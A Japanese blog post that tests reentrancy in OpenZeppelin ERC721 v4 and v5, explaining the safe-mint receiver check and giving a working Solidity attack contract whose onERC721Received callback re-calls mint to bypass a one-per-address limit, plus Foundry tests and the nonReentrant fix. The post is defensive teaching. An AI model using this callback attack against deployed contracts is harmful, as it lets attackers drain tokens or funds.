Reentrancyについて
OpenZeppelin V5.0 をテスト回しながら読み解いていると、Reentrancy 対策されてる感じだったので、どうなっているかテストしながらチェックしていきたいと思います。
※結論的には、私の勘違いでした。ちゃんとReentrancyGuard
しようねってことと、ロジックとかテストのやり方の説明になっちゃいました。
Reentrancy について
再入しちゃうよって話。具体例で説明していきます。
mint について
OZv4 の ERC721 の safeMint
は下記のようになっています。
function _safeMint(address to, uint256 tokenId, bytes memory data) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
_mint
を呼び出した後、_checkOnERC721Received
でチェックをかけています。
では、_checkOnERC721Received
は一体何をしているのか?
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
/// @solidity memory-safe-assembly
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
ややこしいですね。分割してみていくと
if (to.isContract()) {
} else {
return true;
}
to
は送り先のアカウントで、isContract()
はextcodesize
をチェックしてます。
簡単に言うと、to
がコントラクトアカウントだったら OK、そうじゃなかったら NG ということですね。
引き続き、NG ルートを見ていきます。
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch () {}
to
アカウントのonERC721Received
function を呼び出してますね。
oz が提供しているonERC721Received
function は、下記のようになっていて、function の selector を返しています。
function onERC721Received(address, address, uint256, bytes calldata) external pure returns (bytes4) {
return this.onERC721Received.selector;
}
function の selector ???
function の selector は、function の名前と引数をガッチャンこして、ハッシュ化して頭 4bytes 抜き出したもの。
function を識別している値と捉えてください。算出方法は、
bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"));
すなわち、0x150b7a02
の固定値です。
つまりto
アカウントのonERC721Received
を呼び出して、0x150b7a02
が返ってきたら OK ということですね。
NG の場合は、単なるエラー処理です。(catch の中身)
まとめると、to
がコントラクトアカウントもしくはonERC721Received
を実装したコントラクトかどうかをチェックしています。
Reentrancy Attack
さっきのロジックがわかっていれば、Reentrancy Attack の実装は簡単です。
to
アカウントのonERC721Received
を呼び出すので、to
アカウントのonERC721Received
に悪さを仕込めばいいんです。
function onERC721Received(address, address, uint256, bytes calldata) external returns (bytes4) {
try target.mint() {}
catch Error(string memory reason) {
reason = "Exploit complete!";
}
return 0x150b7a02;
// bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"));
// return this.onERC721Received.selector;
}
呼び出された時に、target
のmint
を呼び返しています。これでループできちゃいますね。
OpenZeppelin V4 に Reentrancy Attack
一人一回しか mint できないコントラクトを作ったとします。
contract TokenContract is ERC721, ERC721Enumerable {
uint256 private _nextTokenId;
mapping(address => bool) isMinted;
constructor() ERC721("Vulnerable", "VNFT") {}
function mint() public payable {
require(!isMinted[msg.sender], "Already minted!");
uint256 tokenId = _nextTokenId++;
_safeMint(msg.sender, tokenId);
isMinted[msg.sender] = true;
}
}
このコントラクトに対して下記のテスト(1 回目は mint できて、2 回目は mint できない)を行うと、当然成功します。
function testMultiMint() public onlyOwner {
tokenContract.mint();
vm.expectRevert("Already minted!");
tokenContract.mint();
assertEq(tokenContract.totalSupply(), 1);
}
ここで、Reentrancy Attack を仕掛けてみます。
function onERC721Received(address, address, uint256, bytes calldata) external returns (bytes4) {
try target.mint() {}
catch Error(string memory reason) {
reason = "Exploit complete!";
}
return 0x150b7a02;
}
function exploit() external {
target.mint();
}
function testExploit() public {
attackContract.exploit();
assertGt(tokenContract.balanceOf(address(attackContract)), 1);
console2.logUint(tokenContract.balanceOf(address(attackContract)));
}
1 枚ではなく複数枚 mint できちゃいましたね!これは問題!
Reentrancy Guard
対策として、Reentrancy Guard があります。
function mint() public payable nonReentrant {
require(!isMinted[msg.sender], "Already minted!");
uint256 tokenId = _nextTokenId++;
_safeMint(msg.sender, tokenId);
isMinted[msg.sender] = true;
}
nonReentrant
をつけるだけ。Guard されて 1 枚しか mint できないので、テストコードをassertGt
からassertEq
に変えてます。
(testFailExploit()の方が親切だった?)
function testExploit() public {
attackContract.exploit();
// assertGt -> assertEq
assertEq(tokenContract.balanceOf(address(attackContract)), 1);
console2.logUint(tokenContract.balanceOf(address(attackContract)));
}
ちゃんとガードできてますね!
OpenZeppelin V5
ようやく本題に!早速 Reentrancy Attack を仕掛けてみます。
すると、ERC721InvalidReceiver(0x2e234DAe75C793f67A35089C9d99245E1C58470b)
というエラーが返ってきます。
safeMint
safeMint 周辺は変更点なさそうですね。
function _safeMint(address to, uint256 tokenId, bytes memory data) internal virtual {
_mint(to, tokenId);
_checkOnERC721Received(address(0), to, tokenId, data);
}
では、次に_checkOnERC721Received
をチェックしてみます。
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory data) private {
if (to.code.length > 0) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, data) returns (bytes4 retval) {
if (retval != IERC721Receiver.onERC721Received.selector) {
revert ERC721InvalidReceiver(to);
}
} catch (bytes memory reason) {
if (reason.length == 0) {
revert ERC721InvalidReceiver(to);
} else {
/// @solidity memory-safe-assembly
assembly {
revert(add(32, reason), mload(reason))
}
}
}
}
}
isContract()
が書き換わっていますが、これは isContract()
が無くなったためで関係ありません。
ふむ・・・。何も大きく変わってない???(ここまで書いてから気づきました・・。)
とりあえず、attack コントラクトを少し改造してみると・・・
function onERC721Received(address, address, uint256, bytes calldata) external returns (bytes4) {
try target.mint() {}
catch {
return 0x150b7a02;
}
return 0x150b7a02;
}
あっさり通ってしまいました・・・。V5 もちゃんとReentrancyGuard
つけましょう・・。
いかがだったでしょうか?
Reentrancy 問題については、古くから注目されているので今更感満載ですが・・・。
もし記事があなたのお役に立ったなら、ぜひ「いいね!」ボタンをクリックしてくださいね。
Discussion